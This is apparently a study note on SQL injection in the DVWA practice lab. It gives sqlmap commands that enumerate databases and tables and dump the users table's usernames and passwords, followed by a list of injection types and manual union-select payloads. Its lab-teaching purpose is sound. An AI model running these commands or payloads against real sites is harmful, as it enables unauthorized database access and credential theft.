SQLmap#
Environment: DVWA
Enter any number in User ID
Intercepted by brupSuite, can be obtained
Select all, copy to the sqlmap root directory, create a new .txt file
Then run sqlmap in CMD:
py .\sqlmap.py -r .\sql.txt
Here sqlmap has detected the PHP version, Nginx version, and the database and its version used
Then use
py .\sqlmap.py -r .\sql.txt --dbs
To detect the databases included and four types of injection vulnerabilities
(Boolean-based blind, error-based, time-based blind, and UNION query-based)
Enter
py .\sqlmap.py -r .\sql.txt -D dvwa --tables
To query the data tables contained in the dvwa database
py .\sqlmap.py -r .\sql.txt -D dvwa -T users --columns
To view the fields in the users table, see user and password
py .\sqlmap.py -r .\sql.txt -D dvwa -T users -C user,password --dump
To retrieve the data of user and password
SQL Injection#
The core of SQL injection
Concatenate user input data into the code and execute it as an SQL statement.
Types of SQL injection:
Union-based injection: Concatenate union select at the end
Boolean-based blind injection: Check if the webpage displays normally
Time-based blind injection: Use sleep() method to check if the database executes
Error-based injection: Use database error feedback to obtain data
Wide character injection: Write a large number of junk characters
Stacked injection: Use semicolons to concatenate multiple statements
Basic steps:
Identify the injection point
id=1 and 1=2
Determine the number of fields
id=1 order by 1
Identify the echo point
id=1 and 1=2 union select 1,2,3
Query related content
id=1 and 1=2 union select 1,database(),3